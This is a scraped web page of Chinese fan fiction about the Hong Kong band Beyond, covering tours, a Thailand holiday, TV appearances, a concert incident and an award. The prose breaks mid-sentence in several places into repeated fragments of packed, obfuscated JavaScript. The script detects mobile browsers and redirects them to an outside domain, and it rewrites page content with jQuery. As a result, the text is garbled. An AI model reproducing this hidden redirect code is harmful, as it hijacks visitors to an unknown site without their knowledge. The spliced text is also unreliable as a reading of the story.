l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756384|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人缘,看来就由家驹和阿荣承包了。” 正给自己倒杯水压压惊的家驹拿着杯子一顿,哭笑不得地反问:“是这样嘛?!” 冷不丁被cue到的世荣瞧他一眼,老实人难得调皮了一回,对所有人说:“阿Paul长发的时候那可是冷美人呐。” 说这话的时候,家强正张嘴咕咚咕咚喝着饮料,结果……瞬间向大家展示了什么是飞流瀑布,连带着嗓子呛咳的难受极了。 最倒霉的要属距离他最近的阿Paul,干干净净的衣服受牵连的被喷出了花。 一旁的家驹、世荣和舒慕挤眉弄眼互相交换了下眼神,默契地在这个时候保持沉默。 嗯,他们真是最好的队友。 家强:“……”我谢谢你们。 冷美人面无表情地低头看了一眼自己衣服上已经渲染开来的五彩斑斓,缓缓抬起头和一脸写着抱歉但又的的确确是在极力忍着笑的家言对视,咬牙切齿地一字一句道:“黄-家-强,你在搞什么!” 机灵的家强眼看不对劲,非常有经验的立马转身,脚底抹油开溜逃出了房间。 “我错了,阿Paul。” “你给我站住!” 此时,楼道里还能听到两人你追我赶的声音,留在房间里的家驹、世荣和舒慕终于放开声笑了出来,不得不说,这俩人是乐队中活宝的存在。 舒慕抹了抹眼角笑出的泪,对着另外两个人说:“时间不早了,大家都快休息吧,明天还要去玩呢。” 家驹和世荣点点头,至于那两个小子,随他们闹去吧。 第二天早晨9点,大家艰难地从床上爬起来集合于大堂,由舒慕负责打包着早餐,准备坐车去往八达岭长城。 一行人出酒店门口的时候,就见到此次演出商的负责人刘小姐和几位同事已经坐在车里等着他们了。 看样子,已经等了有一会儿了。 依次上车后,作为东道主的刘小姐几人笑容满面地主动跟大家打起招呼,几句话闲谈下来,前两天那股紧张的气氛也自然而然地消失了。 其实,大家都明白,这一切都是为了更好的工作,即便是其中有争吵、不和谐的声音,倒也是很正常的事情。 事情过去了,自然不会再放在心上。 昨晚打闹嬉戏的阿Paul和家强转眼变得安静,两人友好的坐在一起把车窗掀开了一条缝,轻声细语的不知道在讨论什么。 其他人也在欣赏着沿途的风景。 二十几岁的年龄,每个人都神采奕奕。 说起令大家心驰神往的八达岭长城,从市区到目的地可真是远,舒慕上车的时候特别注意了下时间,下车的时候又看了一眼车上的时间,用了将近2个小时才到咧。 18.去度假咯 在没来之前,舒慕就听说了八达岭长城是中国万里长城的杰出代表,是万里长城中保存最完整,最具代表性的一段。 现在,站在长城脚下,舒慕仰望着眼前蜿蜒曲折,宛如一条巨龙横卧在连绵起伏的群山之巅,她的眼中闪烁着敬意,禁不住连声感叹。 “你们看。”家驹指着前方说:“我们要爬到那个烽火台。” 阿Paul正了正挂在脖子上的相机,活动下腿脚,清脆的嗓音喊了声:“出发咯。” 众人迫不及待地开始往上爬,除了阿Paul自带相机外,经纪人也带着相机,并充当着大家的摄影师。 一边爬一边留下美好的画面,轻缓的步伐,倒是没有感觉很累。当爬到了中间时,到了台阶最陡峭的一段,几乎垂直的样子,看上去就很危险。 家驹按住旁边的扶手,望着面前最险的石梯,他吁了口气,无比振奋地说:“看来还有一半,我们就要到顶点了。” 阿Paul这时已经热的脱了外套,系在自己的腰间:“太好了。” 世荣擦了擦脑门上的汗:“继续!” 舒慕拉着家强的胳膊往上走。 在艰难往上爬的过程中,有很多年纪大的老人陆陆续续经过他们,几双炯炯有神的眼睛目睹这些厉害的老人后,敬佩之余更激发了他们的战胜困难的决心,如同吃了精神食粮似的,年轻气盛的四人哼哧哼哧向上爬,以至于原本还能和他们并排的舒慕很快就落后了一大截。 许久后,大家到达长城的至高点,俯瞰着远处的一望无际,仿佛可以听到历史的回声,想象着过去沧桑的故事。 长城代表着中国五千年的文明历史,想想就感到莫名的伟大。 十月份稍稍带些冷意,可这个季节的阳光洒在身上,却显温暖舒服。 舒慕视线一直在他们四个人之间转来转去,来这儿玩的游客太多了,可坦白来说,对比其他人,他们的穿着打扮与周围的人太不一样了,独特的气质在那摆着,无形之中总有一种回头多看几眼的吸引力。 “来,看这里。” 舒慕接过经纪人的相机,为他们拍下各种搞怪可爱的照片。 家强凑过来嚷嚷的要看刚才拍的照片,他拿着相机滑动着按键,在看到有意思的画面时,憨憨的说道:“我哥笑得好可爱。” 家驹立马不高兴的吼他:“可爱?男生怎么能用可爱这个词呢?!” “你帅你帅行了吧。”头都没抬继续欣赏着照片的家强从善如流地改口道。 舒慕忍不住拍了下他的小脑袋,心想这小子也太鬼马了。 众人在烽火台拍到尽兴后,相伴步行走到了山脚下,当路过一个卖货的摊子时,家驹似乎看到了好玩的东西,撇下大家飞奔过去。 “你们看,好不好看?”家驹带上虎头帽,模仿着老虎的爪子,脸上充满阳光的笑容活脱脱是一只乖顺的小虎。 “我哥是不是挺臭美的?!”家强悄悄问着舒慕。 舒慕好笑地反问他:“你是嫌挨揍挨得少是不是!” “哼!”感觉没劲的家强别过头去,转而和阿Paul一起去找世荣玩闹了起来。 走完长城,一行人又赶往市区,直奔最后两个要游览的景区,一个是天安门城楼,一个是颐和园。 天安门人流如织,果然是每个中国人来到北京的情怀之一。走过金水桥,穿过天安门城楼下正中的宽大门洞,踏上66级的台阶,怀着崇敬喜悦的心情,一步步登上了天安门城楼。 舒慕站在主楼前,望着天安门城楼大殿上的屋顶金碧辉煌,古朴且不失典雅,叫人移不开眼。城楼上东西两侧迎风飘扬的鲜艳红旗吸引了家驹等人的注意,他们四人精神抖擞地站在旗帜下,笑看着镜头,拍下了一张张集体的合影。 颐和园,是清朝时期的皇家园林,也是保存最完整的一座皇家行宫御苑。趁着买票的空档,舒慕瞅了瞅正在检票排队的乌压压人群,什么肤色的都有,看来世界各地的人对这里都充满了好奇和向往。 待买完所有人的票,大家跟着排队的人群从正中间的门洞走了进去。虽然十月份的北京已经有明显的冷意,但此时的颐和园还是令众人感叹园林之美之大。尤其当望着对面的昆明湖时,湖面和远处的十七孔桥,在夕阳西下的映衬下,反而有一种独特的幽静。 一圈玩下来,大家也累得差不多了,晚饭也只是凑活了下,急急地坐车回到酒店,准备好好歇歇脚,美美的睡一觉。 第二天吃过早餐,准备前方机场,这时候每个人脸上才露出了真正的轻松愉悦的笑容,一想到马上就要返回港城,高兴的心情当然溢于言表。 飞机上,家驹看向和他坐在一排的舒慕:“舒舒。” 正在吃着飞机餐的舒慕顿了顿,偏过头问:“怎么了?” “没什么。”家驹微微一笑:“就是想说,beyond如果以后来开拓内地市场,应该也会收获很多喜欢我们歌的朋友。” 未等舒慕开口,家驹继续自顾自地说:“不过,那是未来的事情了,现下重中之重还是在香港乐坛站住脚跟。” 舒慕静静地听着他神采奕奕的描绘beyond未来蓝图,心中不由自主地在祈祷:希望他们愿望成真。 回到香港,陈少宝把他们叫到了办公室,这次的目的不全是为了聊工作:“首先我要恭喜大家,《秘密警察》销量非常乐观。” 随后,他继续说道:“为了奖励你们问鼎金唱片奖,公司决定请你们去泰国玩。” 长久忙碌于工作并且仅限去过北京的四人在听到出国这两个字的时候,露出难以置信的表情望向陈少宝,异口同声:“泰国???” 在得到肯定的回答后,家驹他们开心得像脱缰的野马,若不是顾及在别人的办公室,照他们的性子,说不定早就蹦起来欢呼了。 看着他们兴奋的样子,陈少宝故意咳咳嗓子,趁机提醒道:“这一张专辑是好的开始,所以你们更要努力做下一张出来。” 惊喜和勉励的话说完,陈少宝便放他们回到了录音棚继续工作。 两天后,陈少宝带着乐队四人、经纪人和舒慕一起飞往了泰国。 在享有“东方夏威夷”之称的芭提雅一处海滩上,舒慕带着墨镜,躺在有太阳伞遮挡的躺椅上,身旁小桌板放着一杯冰柠可乐。 不远处正是家驹他们在水里嬉戏打闹。 正当她舒服的享受不被打扰的静谧时光时,突然身上冰凉水珠袭来,刺激的她一个激灵,顿时反应迅速地坐了起来。 看清罪魁魁首究竟是谁,偏偏还笑得天真无邪、肆无忌惮,更加来气。 舒慕摘下墨镜,瞪着他刚要开口,又被另一边弹来的水不小心连带泼到。 舒慕:“……”谁来收了这俩调皮捣蛋的坏小孩。 “哇。”浑身被淋透的家强委屈连连:“阿Paul,我都变成落汤鸡了。” 手拿已经是空盆的阿Paul眉毛挑动着,一点都没有干了坏事儿的愧疚感:“活该咯!我在那躺着好好的享受日光浴,你竟然给我玩起木乃伊来了,瞧瞧现在我身上还有沙子呐。” “多好玩啊。”家强不服气地反驳。 阿Paul:“有没有搞错,你是在玩我呢。” 片刻的沉默,舒慕捏着眉心:“我说,二位。” 两颗脑袋齐齐转过来看向她。 “你们互相伤害也就罢了,能不能不要伤及无辜!”舒慕抹了一把脸上的水珠,没好气地说道。 “哎呀,舒舒姐,出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784875|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来玩了就要不拘小节啦。”家强小鸟依人般靠在舒慕的肩膀上,软绵绵的撒着娇,站在一旁的阿Paul一副没眼看的样子。 舒慕身材比较娇小,家强头一歪,正好靠在她的肩头,看上去一点都不突兀。 就是这和谐的画面没过几秒。 “啪。” 只见半空中出现一道抛物线,非常精准地砸在了某个腻歪的小孩头上。 家强瞬间跳起来,捂着自己的脑壳回头,而舒慕的视线则落在了沙滩上还在滚动的那个排球上。 再一抬头,本来还在尽情游泳的家驹正在飞一般朝他们这边走来。 亲兄弟之间是有某种心灵感应的,所以家强猜都不用猜,就知道刚才砸他的人是谁了。 家强有些懵逼:“干嘛砸我?” 家驹向他吼道:“说话就说话,干嘛那么多动作?” 家强不满:“舒舒姐又不是别人,这有什么错……” 叽里咕噜一顿输出,被家驹眼睛一瞪,凶巴巴地打断:“哼,你是能耐了啊,说了也不听?!” 从远处观战许久的世荣小跑了过来,不用说看情形凭空想象也能大概猜出,他摸摸家强的头,暖暖的说:“好了,你哥那张嘴多厉害你又不是不知道,千万别和他辩。” 家强想想也是,于是十分泄气地挥挥手:“算了算了,你赢了。” 舒慕很有眼力见的在两兄弟吵完架后弱弱的开口提议:“听说这里的人妖表演最有名,我们要不要去看看?” 由于大家之前只是听说或者从报刊杂志看到过人妖的信息,不过都没有身临其境更加带来视觉上的效果。 所以,当舒慕在他们面前提起的时候,四个大男孩不带任何犹豫的,立刻就同意了。 不过,舒慕还是低估了乐队某些人的调皮程度。 天色渐暗的时候,一行人才恋恋不舍的离开了美丽的海滩,回到酒店换身干净衣服,再赶往下一场酒吧去狂欢。 舒慕看着时间走出房间,准备到前台等其他人,恰巧在楼层等电梯的时候碰到了陈少宝和经纪人,三人有一搭无一搭地正聊着天,突然听到走廊有人在呼喊救命。 “怎么了?发生什么事了?”陈少宝拉住其中一个惊慌失色正要往外跑的男生问道。 那男生磕磕巴巴,手指打颤地指着身后:“人妖……可怕的人妖……” 望着飞奔逃命险些把自己摔倒的男生,舒慕疑惑的喃喃道:“什么人妖这么……” “害怕”两个字还没说出口,“人妖”自己明晃晃的带着很恶心的那种把舌头伸出来的面具出现在了他们的面前。 舒慕吓得往后退了几步,旁边的陈少宝和经纪人傻眼的站在原地一动不动,大家都被眼前这一幕震惊住了。 几秒后,站在对面的两个人妖猛地摘下了面具,露出帅气阳光的脸庞。 扮演“人妖”之一的家驹:“阿Paul,这面具真不错,回去我们好好收藏。” 另一个“人妖”阿Paul拽拽一笑:“我们扮的也很像啊。” 他们讨论的挺嗨,身旁的舒慕、陈少宝和经纪人对整个过程面面相觑,表情极其复杂,久久都没有开口。 而这个时候,一直没有出现的家强和世荣正好和大家打了个照面,在阿Paul声情并茂地再度复述了刚刚的小插曲后,两人竟然满眼遗憾没有出场参与的机会。 家强抱怨道:“你俩怎么都不叫上我呢。” 世荣这次也附和道:“我们一起肯定更精彩。” 谁说鼓手温柔安静的,原来骨子里是很劲的。 家驹笑着安抚他俩:“好了好了,下次一起。” 舒慕、陈少宝和经纪人:“……”事实证明,志同道合才能组乐队。 19.平安夜《喜欢你》 接下来的时间,除了在芭提雅尽情地享受了三天的海滩时光,还去到了繁华热闹的街市疯狂购物,尝遍了这里的美食,一周之后,舒慕细心的发现他们似乎都胖了一点点。 世荣低头看了眼自己的肚子,说:“幸好在芭提雅可以游泳,要不然回到香港大家可要忙着Keep Fit。” 泰国的食物辣的很,舒慕吃得很小心,总是担心自己嘴角长泡,可对于另外四个大男孩来说,可谓是情有独钟,而且一点都不觉得辣,甚至认为泰国的烹饪方法原汁原味,去吃的时候,尤其最喜欢去街边的大排档,号称那才最有氛围的地方呢! 反正,一提起吃,每个人都相当兴奋,更手舞足蹈的形容当地的美食怎样怎样好吃。 除了吃以外,购物能力也很强悍,令舒慕忍不住吐槽简直比女生还能逛,有几次这几个人走路的速度,她都被甩后面好几十米远。 另外,这次在曼谷,他们购买了很多的衬衫,当然也是因为这里的衣服比香港的的确便宜很多,最后差点因为行李超重不能返回香港。 总的来说,这次的度假令大家在紧张的工作中有一丝轻松的感觉,即使人已经回到港城,但闲聊时仍然在感慨那里是一个物美价廉的人间天堂。 假期结束后,接下来乐队的工作可以说是排的满满的,而在这些工作中也参杂了一些和音乐并没有太多关联的活动。重重迹象表明,乐队的名声正在持续性的打出,但与此同时自身的自由度也在开始减少。 唯一让他们感到开心的要属受邀客串并全权负责整部电影《黑色迷墙》的配乐工作。 家驹对电影非常喜爱,时不时就会约着朋友一起去影院,不仅如此,在看完了之后,大家一定会转战茶餐厅对刚才观看的电影进行新一波的讨论,或者交换各自的意见。 如今能亲自上阵,家驹极其珍惜这次机会,他们既能在影片中现身,又能尽情去创作自己真正喜欢的纯音乐。 何乐而不为呢! 忙忙碌碌便到了12月,平安夜的这天,乐队上了一个叫“新地歌迷俱乐部”的节目,主旨是为庆祝即将到来的圣诞节。 台上,家驹他们被迫收敛个性,扮成乖巧的邻家男孩形象,舒慕坐在观众席看着他们和主持人互动说笑,心里却有一种替他们感到疲惫的感觉。 节目第一个环节是送给幸运观众圣诞礼物,在此之前,其中一位男主持人率先攀谈起来,问:“你是不是家驹啊?” 家驹:“是啊。” “你是不是家强?” “是啊。” 然后看向阿Paul,开玩笑的问道:“那你是不是家私啊?” 另一位女主持搭档应和的笑了笑:“家私?” 阿Paul尴尬的笑了下。 家驹心里尤其厌恶反感这种低级趣味的玩笑话,但为了大局着想,节目上不能给主持人没脸,让他下不来台,所以面上没有过多显露自己的真表情,但细心听会察觉出语气变得很平淡:“不要说这些废话了,说回这些礼物吧。” “这是什么东西来着,阿Paul?” “还有这个,是阿荣的。” 阿Paul和世荣接过包装精美的盒子,纷纷说道:“这都是自己做的了。” 家驹接着告诉两位主持人:“总之都是很好的礼物咯。” 女主持人继续接下来的话题:“名贵的礼品呢,就要找人出来才能送的,对不对?所以,我们有请她吧。” 家驹把玩着手里的礼物:“奥,好。” 三秒左右,演播室拨打的电话被接起。 女主持人:“喂,恭喜你成为我们这次圣诞节猜谜语获大奖的幸运观众。” 女观众:“多谢多谢。” 女主持人:“现在beyond的朋友就在这里,我们请家驹出题吧。” “好。”家驹:“我的问题是为什么圣诞老人要爬烟筒里送礼物给你呢?” 那名幸运观众显然被这问题问的有些蒙圈:“阿,为什么?” 家驹:“为什么呢?” 过了好久,电话里的声音传了过来:“因为够神秘。” 家驹没太听清:“什么?” 旁边的女主持人拍拍他的胳膊,重复道:“够神秘。” 这个答案看来很对家驹的胃口,他重展笑颜,立马表示:“对对对。” 男主持人此时看向家驹,忍不住问道:“那正确答案是什么呢?” 家驹回答:“正确答案就是,因为没有你家钥匙。” 同样幽默的答案令在场的人纷纷脑洞大开。 答谢完幸运观众后,现场进入到下一个流程。 “圣诞节通常大家都会想到一个‘爱’字,爱情或者亲情、友情这些,那beyond乐队对‘爱’的看法是怎样的呢?”漂亮的主持人锁定貌似走神自个儿玩乐的家强身上:“家强先说,怎样看待‘爱’?” 家强不慌不忙,笑笑:“大家如果真心相爱,那就爱的好点,爱的彻底一点。” “那么家驹呢?” “好刺激的咯,好好玩咯。” “阿荣哩?” “我很厉害的,希望人人都有爱!” “那阿Paul呢?” 有一下没一下拨着吉他弦的阿Paul示范着回答:“爱……就好像弹吉他,要时常练习的嘛。” 主持人没忍住笑出了声:“要时常练习啊?!” 阿Paul一本正经地说:“是啊,不然会生疏的!” 之后,到了乐队表演时间,家驹走过去拿起话筒,目光一转看向主持人,问:“唱什么歌?” “《喜欢你》。” 阿Paul抱着木吉他开始伴奏,旋律一起,白衣黑裤简约风的家驹单手插进裤兜里,另一只手透过话筒传送的磁性嗓音缓缓唱出: 细雨带风湿透黄昏的街道 抹去雨水双眼无故地仰望 正唱着投入时,旁边的嘉宾竟然拿来一块白布企图蒙上家驹的眼睛,为了节目效果,他只能强装笑颜地轻轻拿开,佯装无事的继续。 而另一边的阿Paul也未能幸免,站在他身边的嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795048|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宾拿过圣诞帽就要扣在他的头上,值得称赞的是不管周围怎么闹腾,面上嬉笑的阿Paul仍在稳稳弹奏着吉他,而家驹也在认真唱着《喜欢你》。 看着怎么也带不进去的帽子,家驹顺口笑着说了句:“阿Paul好惨。” 家强全程乖巧的站在那,他把小熊玩偶揣在怀里保护的很好,不打鼓的阿荣此时有点双手无处安放的意思,看不过去的两人立马帮忙给阿Paul扶正了老是要歪下去的帽子。 好不容易正经一些,出其不意的突然蜂拥上来很多女歌迷们,她们来到舞台中央,把纸屑和丝条洒在他们的头顶,甚至用宽大的白布将家驹整个人包裹住,费了半天劲才把自己解救出来。 家驹好脾气地露出一丝苦笑:“不要玩了……” 随后若无其事般走到兄弟们身边,家驹把话筒稍稍放在他和世荣、家强的中间,阳光帅气的几人凑在一起柔声合唱着,画面温馨而美好。 终于撑到录制结束,几人回到二楼后座,在只有自己人的环境中,才真正的放松下来,露出本身的个性,一个个的互相吐槽。 阿Paul靠着沙发背,干脆直白的说道:“我今天笑得嘴都快酸了,比我从白天练吉他到晚上还累人。” 家强托着双颊听得深有同感:“我扮了一天的乖,既别扭也难受。” 世荣一边练着杠铃,一边问:“这种节目以后是不是还有啊?” “当然会有咯,而且肯定不会少。”舒慕肯定地回答,并温言劝慰道:“毕竟刚开始,以后你们在乐坛站稳脚了,去不去还不是你们自己决定?!” “舒舒说得对。”家驹坐了过来,安抚大家的情绪:“我们仍然是要玩我们喜欢的音乐,这是我们当初夹Band的初心,但现实和理想总有差距,周围人对我们越冷漠、无视,我们偏偏要做出有质量的音乐来,原创有什么错?凭什么无人为津?为了我们能够在乐坛拥有话语权,有真正喜欢我们音乐的朋友,现在我们就稍微妥协一点点,一起度过难熬的时候。” 一番晓之以情,动之以理下,几人果然不再吭声,默默自我消化着心理上的坏情绪。 舒慕见他们表情上的松动,明白刚才的话已经起了作用,不禁转过头和家驹相视一笑。 其实,她早已猜到会是这样的结果。 家强自然不必说,平时兄弟之间闹归闹,吵归吵,但一谈论起他们引以为傲的音乐事业来,他是以一颗崇拜的心,仰望的目光看待自己哥哥的。 十八岁就与家驹相识的世荣,更是之后携手组建乐队的创始人,两人死党的情分已经无法用言语表达,一路走来的默默奉献和支持,不说别的,二楼后座代表了他的心声。 阿Paul是乐队成员中最晚与家驹认识的,但并不影响两人在追求音乐理想道路上成为知己,互相学习和成就,Band房里总能听到电吉他和木吉他从白天solo到夜晚,听那旋律都会感觉到弹奏者遇知音的兴奋。 总的来说,三人不知不觉中形成了向家驹看齐,若是他一锤子定音的事情,便会统一听从他的指挥。 20.请给我的吉他一点面子 第二天,乐队登上了“欢乐今宵”的舞台,节目制作人为了保证表演效果完美无瑕,告知成员到时假弹真唱的要求,并向大家解释,这样可以起到乐队自身不容易翻车,也不会搞砸节目的事故,对于双方来说都能受益。 至于电视机前的观众,怎么会让他们知晓这种内幕呐,或者说大部分的观众纯粹就是看个热闹,听个高兴,谁会真的去关心或者研究你到底是不是真弹呢? 所以,尽管放心就好了。 无论观众是否看得出来,亦或是懂不懂音乐,对于beyond来说,这显然不是他们的作风,反而非常厌恶,偏偏四人深处在一条乐坛内约定俗成的隐形规则中,心理上深受打击是必须的。 可是,由于现在是《秘密警察》宣传冲刺阶段,无论是唱片公司或者是经纪人都在一再地重申曝光度的重要性,众人默然,除了配合认真完成节目,别无他法。 在现场彩排的时候,众人拿着发不出声的乐器提前适应,自嘲要找找感觉。在四个人中,最属世荣情况惨一些,因为鼓槌只要打下去就会发出声音,所以他必须要做到不让鼓发出“声音”。 向来乐天派的世荣脸上浮现出来一丝忧愁,他左看看右看看手上的鼓槌,深深叹了一口气:“好难。” 舒慕观察了半天,建议道:“缠上胶带,缠厚一点怎么样?” “还是会有声音。”世荣摇了摇头:“待会我控制好力度,只要做出打鼓的动作就行了。” “感觉自己好像是在练功夫似的。” 舒慕同情的望着他:“那你多练练吧。” 世荣:“……” 独留孤单的鼓手在后方认真的研究“弹奏的最高境界”,舒慕走到前面的舞台区域时,正巧听见阿Paul的声音:“到时候和声的部分我来,都别和我抢啊。” 家强嚷嚷着:“还是我来吧。” “我来。” “我来。” “争什么争!”家驹余光扫了一眼吵闹的两人,呵斥道。 家驹再次的叮嘱三人:“大家千万要记住每个动作对应的音,就算是假弹,也要摆出正确弹的样子来。” 节目顺利的开始,一切看上去很自然,观众看的很开心,现场气氛超级热烈,后来电视台在询问家驹如何看待这种情况下观众的欢呼声。 他淡淡的说:“或许是因为我们出道已经有一段时间,所以并没有刻意去理会他们的反应。对于我们而言,最重要的是我们站在台上,是否享受这个过程,如果我们没有感觉到,就算台下再怎么欢呼,我们的感受依然是0。” 节日气氛过后,月底的时候,乐队在香港大专会堂办了两场名为“心内”、“心外”的小型演唱会。 “心内”演唱会时,乐队主要演唱了前几张专辑中的歌曲,在《旧日的足迹》吉他声响起时,家驹将台下的歌迷们召唤到了最前面,他期望大家能一起投入到演唱当中。 就像他这样说:“我们的音乐是需要用身体来感受的,所以我把观众喊到前面来,缩短彼此之间的距离,更好地用心灵和身体去感受。” 相较于“心内”,随之而来的“心外”演唱会变得有些坎坷。 当天下午,舒慕在场内环顾四周,满意的点点头,虽然是在室内,但空间大概能容纳五千多人,不得不承认公司在他们身上的投入还是很下血本。 逐个叮嘱工作人员细节后,她向舞台上缓缓走去,此时工作人员已经将现场的音响、麦克风等设备线路全部铺好了。 眼看陆陆续续有歌迷进场,舒慕走向二楼看台,她双手抱着胳膊,幽幽的望着正中央舞台的位置,默默祈祷着演唱会的顺利。 看了一眼手腕上的表针,约莫还有二十分钟开始,交代完一切放松下来的舒慕正想坐下歇会儿时,一个工作人员神情焦急的走了过来,低声说:“舒慕姐,后台有点情况,家驹哥让我来叫你过去。” 不知为什么,舒慕听到这话,瞬间有种不好的预感,闻言立马起身往后台奔去。 刚到门口就看到家驹定在那,似乎就是在等她。 下一秒,只听见他直接抛出一句话:“我刚才告诉世荣他们,家强肚子不舒服,在休息室休息。” 心思敏锐的舒慕却在话中觉察出不对劲儿,缓缓吐出话来:“其实呢?” “他不见了。”家驹知道瞒不住她,也不想瞒她,索性说出实话。 舒慕惊住了,她没想到这孩子在关键时候掉链子。 发觉自己险些失态,她强制自己定了定略微慌乱的心神,看向家驹:“那现在你想怎么做?” 耳机里的催促让两人只能先解决眼下可能开天窗的问题。 “不如我先出去暖个场solo一段。”家驹向她提议。 舒慕此时也想不出其他更好的办法,点了点头:“也只好这样了。” 于是,在全场灯光开始变幻下,家驹抱着一把木吉他出现在舞台,准备为观众们演奏一段solo。 刚坐下调音,台下开始了各种骚乱,过了好一会儿,依然没有改变。无法进入状态的家驹只好中断,对着话筒面向群众问道:“你们这么大声吵闹,能不能听到我弹的是什么?” 台下的歌迷们已经疯狂,齐声的大喊:“能听到……” 家驹:“真的吗?” “真的……” 之后,台下的秩序还是没有恢复安静,一些歌迷为家驹的演奏拍手叫好,其中也有一些不怀好意。 “就算不给我面子,烦劳给我的吉他一点面子,请大家小声一些,谢谢。”说完,家驹继续埋头认真的弹着吉他。 目睹这一切本以为小插曲就这样过去的舒慕没想到台下只坚持了一小会儿,立马开始了各种谈笑声、捣乱的,甚至还有电话铃声响。 看到这一幕,舒慕交握的双手用力捏成拳头,轻咬着嘴唇,担忧家驹在这种情况下会做出什么来。 果然,说什么来什么! “没心思再弹!”吵闹声丝毫没有因为家驹的劝阻停止,反而更加过分,于是,家驹愤愤不平地留下一句话,便中止了演奏,寒着脸扭头回到了后台。 与此同时,舒慕在看到上面这突然的一幕后,赶忙追了过去。 “舒舒姐,外面的人……”工作人员感受到了屋内的低气压,不敢大声说话,弱弱的指了指外面做提醒。 舒慕朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊,家驹。”世荣也劝道:“我们懂你的。” 面对着队友们的鼓励和理解,情绪总算逐渐和缓了下来,在迅速调整好心态后,家驹再次背上吉他:“走,我们上场。” 舞台上,吉他solo声重新响起,随之鼓声敲击递进,台下的歌迷再度尖叫起来,疯狂的叫喊着各自喜欢的成员们的名字,重新回到二层看台的舒慕耳边全是震耳欲聋的呐喊助威声。 “可能有些人会觉得我任性自私,但我的队友知道我的想法,懂我需要什么。”回到舞台中央的家驹整理着麦克风,眼中划过一道极快的冷意:“我们是兄弟,所以,无所谓!” 随着激进的摇滚音乐响起,演唱会终于得以顺利开始。 半个身子藏在幕布后面的舒慕探着头看着他们尽情摇滚的背影,原来热爱真的可以不知道疲倦,音乐的世界里,好似只有他们,别人都无法参与进去。 有一群志同道合的伙伴和你一起为共同的理想努力奋斗,舒慕不得不承认她羡慕嫉妒这支乐队,因为人世间没有比这更棒的事情了。 21.最佳组合银奖 忙忙碌碌中,转眼已到新一年。 刚进入年头,在新艺宝强有力的宣传下,《秘密警察》的销量已经突破十万张,beyond乐队终于晋升到双白金唱片乐队的行列中。 1989年1月的某天,收拾公文包哼着歌准备下班的陈少宝接到一通在电视台工作的朋友电话,好友告诉他的内容,成功让他乐呵呵的自愿坐回到尚有余温的椅子上,更加有冲劲的埋进beyond唱片宣传工作的海洋中无法自拔。 “少宝,你要准备准备了。” 陈少宝有点儿摸不着头脑:“有什么需要准备的?” 对方在话筒里隐晦的表示:“你的人今年有很大的可能会拿奖,你当然要准备好伴奏咯。” “谁啊?”陈少宝追问着,并在脑子里把公司签约的所有大牌艺人从脑子里快速过了一遍,也没有想到可能的人选。 未等他猜出来,对方轻笑一声,忍不住提醒:“你手底下不是有四个很厉害的小伙吗?” 陈少宝愣住了,天知道他猜测了所有人的可能性,就是没往那四个摇滚少年身上想,于是他不断的重复确认,防止自己听错:“真的是beyond,你是说beyond乐队???” 电话那头耐着性子回应道:“八九不离十奖项里面有他们一席之地。” 陈少宝大呼一口气,他拍了拍大脑门,脸上带着不敢置信的表情:“我的天呐。” 他是有预感这种乐队假以时日一定能红,但万万没想到这一天会来临的这么快! “家驹阿,我给你说件事儿……”兴奋至极的陈少宝迫切地抄起桌上的电话打到了band房。 1月16日,陈少宝带着乐队及舒慕前往香港文化中心参加由电台组织的“叱咤乐坛流行榜”颁奖典礼。 在后台,鉴于乐队是第一次登上这种重大的颁奖礼,站在如此荣耀的地方,陈少宝再三叮嘱道:“到时候别太紧张,稳重稳重再稳重。” 清一色西装打扮的乐队四人拘谨而认真地点点头,家驹作为乐队的代表,很正式地向陈少宝表达他们四人由衷的谢意:“少宝,谢谢你。” 家驹的感激绝对是真心实意,尽管新艺宝签他们是因为看上了乐队的才华,但抛开公司这一层面,陈少宝在合作过程中,是真的很欣赏家驹,并寄希望他们真的能改变如今翻唱泛滥一成不变的乐坛。 “接下来我们立刻介绍另外一队在88年至89年度得到白金唱片的乐队组合。”舞台上主持人渲染着神秘的气氛,站在中间的揭晓嘉宾缓缓打开信封。 等候在化妆间的舒慕紧张地攥着手,盯着那一方小小的电视屏幕。身边的陈少宝见她的样子,不免安慰道:“你放心,他们会得奖的,虽然极大可能不会是金奖。” “嗯?”舒慕疑惑的侧目看他,不明白语气会如此的笃定。 陈少宝早入行几年,看得比这几个小年轻更透彻:“虽说如此的乐坛还不至于论资排辈那么严重,但beyond在这儿的地位算是初出茅庐,想要得金奖,还要再熬几年才行。” 虽然知道这个行业的复杂程度,但直面的听到现实无比的话,舒慕的心里仍然忍不住感到一丝丝失落,哀叹想要公平真的太难了。 就在这时,只听电视机中揭晓嘉宾大声的念出了乐队组合名字:“beyond,《大地》。” “哇!” 